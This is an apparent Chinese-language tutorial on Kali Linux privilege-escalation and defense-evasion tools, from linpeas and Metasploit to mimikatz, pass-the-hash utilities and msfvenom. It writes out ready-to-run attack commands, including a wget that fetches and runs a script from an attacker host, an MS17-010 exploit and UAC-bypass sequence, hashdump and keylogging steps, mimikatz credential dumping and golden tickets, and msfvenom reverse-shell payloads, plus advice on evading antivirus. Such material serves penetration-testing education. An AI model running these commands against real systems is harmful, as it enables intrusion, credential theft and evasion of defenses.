一、Privilege Escalation(权限提升)

image-20260127204237069

图中展示了 Kali Linux 系统中五个与权限提升(Privilege Escalation)*和*渗透测试密切相关的工具。这些工具主要用于在攻陷目标系统后,进一步挖掘系统配置漏洞,以获取更高权限(如从普通用户提升至 root 或 Administrator)。

(一)linpeas

作用:Linpeas 是 PEASS-ng 工具集的一部分,专用于 Linux/Unix 系统的权限提升检查
功能

  • 自动化扫描系统配置、文件权限、环境变量、可执行文件、SUID/SGID 位、计划任务等。

  • 识别常见的提权路径,如不安全的文件权限、可写的服务二进制文件、内核漏洞提示。

  • 输出结果采用颜色编码(红/黄/绿),便于快速识别高风险项。
    常用命令

  • 直接本地运行:

    ./linpeas.sh
    
  • 从远程下载并执行(需 Python HTTP 服务):

    wget http://attacker-ip:8000/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
    

(二)metasploit-framework

作用:Metasploit 是全球最主流的渗透测试框架,在权限提升(Privilege Escalation)环节中扮演核心角色。它通过模块化设计,结合系统漏洞、配置缺陷或第三方软件弱点,帮助攻击者从普通用户权限提升至管理员(如 Windows SYSTEM 或 Linux root)权限。。
功能

  • 提供大量预置的漏洞利用模块(Exploits)和载荷(Payloads)。
  • 支持生成各种格式的恶意文件(如 Windows 可执行文件、Linux Shellcode)。
  • 通过 Meterpreter 会话实现高级控制,如文件操作、屏幕截图、键盘记录、权限提升辅助。

提权操作流程详解

1. 获取初始会话

在提权前,需先通过漏洞利用模块(Exploit)获取目标系统的 Meterpreter 会话。例如:

use exploit/windows/smb/ms17_010
set RHOSTS 192.168.1.100
set LHOST 192.168.1.200
exploit

成功后会获得一个 Meterpreter 会话,可通过 sessions 命令查看。

2. 信息收集与环境侦察

在 Meterpreter 会话中,先执行基础信息收集,判断提权路径:

  • sysinfo:查看操作系统版本、架构、补丁情况。
  • getuid:查看当前用户权限(如 NT AUTHORITY\NETWORK SERVICE)。
  • ps:列出当前运行进程,寻找高权限进程(如 explorer.exesvchost.exe)。
  • shell:进入系统命令行,执行 whoami /allnet localgroup administrators 等命令。

3. 选择提权模块

Metasploit 提供大量本地提权模块,可通过 search 命令按平台或关键词筛选:

search type:exploit platform:windows local

常见提权模块包括:

  • exploit/windows/local/bypassuac:绕过 Windows UAC 机制,提升至管理员权限。
  • exploit/windows/local/ms16_032_secondary_logon_handle:利用 Windows 内核漏洞提权。
  • exploit/multi/local/phpmyadmin_privilege_escalation:利用第三方软件(如 phpMyAdmin)漏洞提权。

4. 设置并执行提权

选择模块后,设置会话 ID 和目标进程,执行提权:

use exploit/windows/local/bypassuac
set SESSION 1
set PROCESSNAME explorer.exe
exploit

若成功,会话将升级为高权限上下文(如 NT AUTHORITY\SYSTEM)。

5. 验证提权结果

提权后,再次执行:

getuid

若输出 NT AUTHORITY\SYSTEMroot,则表示提权成功。

6. 后渗透操作

提权成功后,可进一步执行:

  • hashdump:导出系统密码哈希。
  • screenshare:实时屏幕共享。
  • keyscan_start:记录键盘输入。
  • upload/download:上传/下载文件。

注意事项

  • 权限上下文:提权模块通常需要目标系统存在可利用的漏洞或配置缺陷。
  • 进程选择:选择高权限进程(如 explorer.exe)可提高提权成功率。
  • 防杀软规避:部分提权模块可能被杀毒软件检测,建议结合 msfvenom 生成免杀载荷。

(三)peass

作用:Peass 是 PEASS-ng 工具集的总称,涵盖 Linux、Windows 和 macOS 系统的权限提升检查。
功能

  • 集成了 linpeas(Linux)、winpeas(Windows)和 macpeas(macOS)。

  • 自动化检测系统错误配置、敏感文件泄露、可利用的服务权限等。

  • 提供清晰的提权建议和漏洞利用思路。
    常用命令

  • 运行 PEASS-ng 主程序(需 Python 环境):

    python3 peass.py
    
  • 或直接调用子模块(如 linpeas 或 winpeas)。

(四)unix-privesc-check

作用:这是一个专为 Unix/Linux 系统设计的权限提升检查工具
功能

  • 扫描系统中的文件权限、SUID/SGID 位、可写目录、环境变量、服务配置等。

  • 检测是否存在可被利用的配置错误,如可写的服务脚本、不安全的 PATH 变量。

  • 输出详细报告,帮助安全人员修复漏洞或攻击者寻找提权机会。
    常用命令

  • 运行快速扫描:

    unix-privesc-check standard
    
  • 运行详细模式扫描:

    unix-privesc-check detailed
    

(五)winpeas

作用:Winpeas 是 PEASS-ng 工具集的 Windows 版本,专用于 Windows 系统的权限提升检查
功能

  • 扫描 Windows 服务、注册表、DLL 劫持机会、可写目录、计划任务、凭证存储位置。

  • 检测是否存在可利用的权限配置错误,如服务权限过松、可写的服务二进制文件。

  • 支持多种输出格式(彩色终端、JSON、HTML)。
    常用命令

  • 运行 Windows 版本(需 .NET 环境):

    .\winpeas.exe
    
  • 或使用 BAT 版本(无需 .NET):

    winpeas.bat
    

二、Defense Evasion(防御规避)

image-20260127210147722

图中展示的是 Kali Linux 系统中一系列用于防御规避的工具,它们在红队演练和后渗透阶段(Post-Exploitation)中扮演核心角色。这些工具主要用于提取系统凭据、传递哈希、远程控制、网络扫描和服务利用。

(一)Pass-the-Hash

作用:Pass-the-Hash 是一种利用 NTLM 哈希值而非明文密码进行身份验证的横向移动技术。
功能

  • 允许攻击者在获取目标账户的 NTLM 哈希后,无需明文密码即可模拟用户会话。

  • 适用于内网横向移动,尤其在凭证复用或无法获取明文密码时。

  • 可绕过基于密码日志审计的安全设备,因为使用的是哈希而非明文。
    常用命令

  • 使用 psexec 进行哈希传递:

    psexec.py -hashes LM:NT domain/user@target-ip
    
  • 使用 CrackMapExec 扫描并批量利用:

    crackmapexec smb 192.168.25.0/24 -u administrator -H 627782b7274e323941c9418399460d5b
    

(二)evil-winrm

作用:Evil-WinRM 是一个基于 Ruby 开发的开源工具,用于通过 WinRM 服务获取远程 Windows 主机的 PowerShell 交互会话。
功能

  • 支持多种认证方式:纯文本密码、NTLM 哈希、SSL 加密、密钥登录。

  • 提供文件上传/下载、PowerShell 脚本执行、服务枚举等后渗透功能。

  • 可配合“Bypass-4MSI”等技术绕过 AMSI 保护,实现无文件攻击。
    常用命令

  • 连接远程主机:

    evil-winrm -i 192.168.1.100 -u Administrator -p '密码'
    
  • 使用哈希登录:

    evil-winrm -i 192.168.1.100 -u Administrator -H 'NTLM哈希'
    

(三)impacket-scripts

作用:Impacket 是一个强大的 Python 库,用于构造和解析网络协议数据包,其脚本集(如 psexec、wmiexec、smbclient)广泛用于渗透测试。
功能

  • 提供多种远程执行方式:通过 SMB、WMI、RPC 等协议执行命令。

  • 支持哈希传递、票据传递(Pass-the-Ticket)、Kerberos 滥用。

  • 可用于横向移动、服务枚举、文件传输。
    常用命令

  • 使用 WMI 执行命令:

    wmiexec.py -hashes LM:NT domain/user@target-ip "ipconfig"
    
  • 使用 SMB 复制文件:

    smbclient.py -hashes LM:NT domain/user@target-ip
    

(四)mimikatz

作用:Mimikatz 是 Windows 内存凭据提取工具,可从 LSASS 进程中dump出明文密码、NTLM 哈希、Kerberos 票据等。
功能

  • 提取系统中所有用户的明文密码(需修改注册表支持)、哈希值和令牌。

  • 支持“Pass-the-Hash”、“Pass-the-Ticket”、“Golden Ticket”等高级攻击。

  • 可用于本地提权、域控攻击、横向移动。
    常用命令

  • 提升调试权限:

    privilege::debug
    
  • 提取内存中的凭证:

    sekurlsa::logonpasswords
    
  • 生成黄金票据:

    kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-... /krbtgt:hash
    

(五)netexec

作用:Netexec 是一个模块化的网络攻击框架,支持多种协议(SMB、SSH、WinRM、LDAP 等)的批量凭证测试和命令执行。
功能

  • 类似于 CrackMapExec,但更注重模块化和可扩展性。

  • 支持哈希传递、明文密码爆破、服务扫描。

  • 可用于内网资产发现、凭证喷洒、横向移动。
    常用命令

  • 扫描 SMB 服务并测试凭证:

    netexec smb 192.168.1.0/24 -u admin -p password
    
  • 使用哈希进行批量攻击:

    netexec smb 192.168.1.0/24 -u admin -H 'NTLM哈希'
    

(六)passing-the-hash

作用:这是 Pass-the-Hash 工具集的另一个实现,通常指代 pth-toolkit,用于在 Linux 环境下模拟 Windows 的哈希传递攻击。
功能

  • 允许在 Linux 上使用 NTLM 哈希访问 Windows 资源(如 SMB 共享、WMI)。

  • 可用于从 Linux 攻击机对 Windows 域环境进行横向移动。

  • 支持多种协议和认证方式。
    常用命令

  • 挂载 SMB 共享使用哈希:

    pth-smbspool //target-ip/share -U user%LM:NT
    
  • 通过 WMI 执行命令:

    pth-wmic -U domain/user%LM:NT //target-ip "ipconfig"
    

(七)smbmap

作用:SMBMap 是一个用于枚举 SMB 共享和文件权限的工具,支持匿名访问、凭证测试和命令执行。
功能

  • 快速识别内网中开放 SMB 服务的主机和可访问共享。

  • 支持文件上传、下载、删除和命令执行(通过 SMB 管道)。

  • 可用于权限提升(如写入启动项、服务二进制文件)。
    常用命令

  • 枚举共享:

    smbmap -H 192.168.1.100
    
  • 使用凭证访问:

    smbmap -H 192.168.1.100 -u admin -p password
    
  • 执行命令:

    smbmap -H 192.168.1.100 -u admin -p password -x "ipconfig"
    

(八)xfreerdp

作用:Xfreerdp 是 FreeRDP 的图形化客户端,用于连接 Windows 远程桌面(RDP)。
功能

  • 支持凭证登录、哈希传递、智能卡认证。

  • 可用于远程控制、会话劫持、图形化操作。

  • 支持多显示器、剪贴板共享、驱动器映射等高级功能。
    常用命令

  • 连接 RDP:

    xfreerdp /u:admin /p:password /v:192.168.1.100
    
  • 使用哈希登录:

    xfreerdp /u:admin /d:domain /pth:NTLM哈希 /v:192.168.1.100
    

(九)exe2hex

作用:Exe2hex 是一个将 Windows 可执行文件(EXE)转换为十六进制格式的工具,便于在 Linux 环境下通过命令行传输和执行。
功能

  • 将 EXE 转换为 hex 字符串,避免传输过程中被杀毒软件拦截。

  • 可在目标 Windows 主机上通过 PowerShell 或 cmd.exe 还原并执行。

  • 常用于无文件攻击或绕过上传限制。
    常用命令

  • 转换文件:

    exe2hex -i payload.exe -o payload.hex
    
  • 在 Windows 上还原并执行:

    $hex = Get-Content payload.hex; $bytes = $hex -split ' ' | % { [byte]("0x$_") }; [io.file]::WriteAllBytes("payload.exe", $bytes); Start-Process payload.exe
    

(十)macchanger

作用:Macchanger 是一个用于修改网络接口 MAC 地址的工具,常用于网络匿名化和绕过基于 MAC 的访问控制。
功能

  • 可设置随机 MAC 地址、指定特定 MAC 地址。

  • 支持无线网卡、以太网卡。

  • 可用于规避网络监控、伪装设备身份。
    常用命令

  • 查看当前 MAC:

    macchanger -s eth0
    
  • 设置随机 MAC:

    macchanger -r eth0
    
  • 设置指定 MAC:

    macchanger --mac=00:11:22:33:44:55 eth0
    

(十一)msfvenom

作用:Msfvenom 是 Metasploit 框架的载荷生成器,用于创建各种格式的恶意文件(如 EXE、DLL、Shellcode),用于渗透测试。
功能

  • 支持多种平台(Windows、Linux、Android)和架构(x86、x64)。

  • 可生成反弹 Shell、绑定 Shell、 Meterpreter 载荷。

  • 支持编码、混淆、加密,以绕过杀毒软件检测。
    常用命令

  • 生成 Windows 反弹 Shell:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f exe > payload.exe
    
  • 生成无文件 PowerShell 载荷:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4444 -f psh -o payload.ps1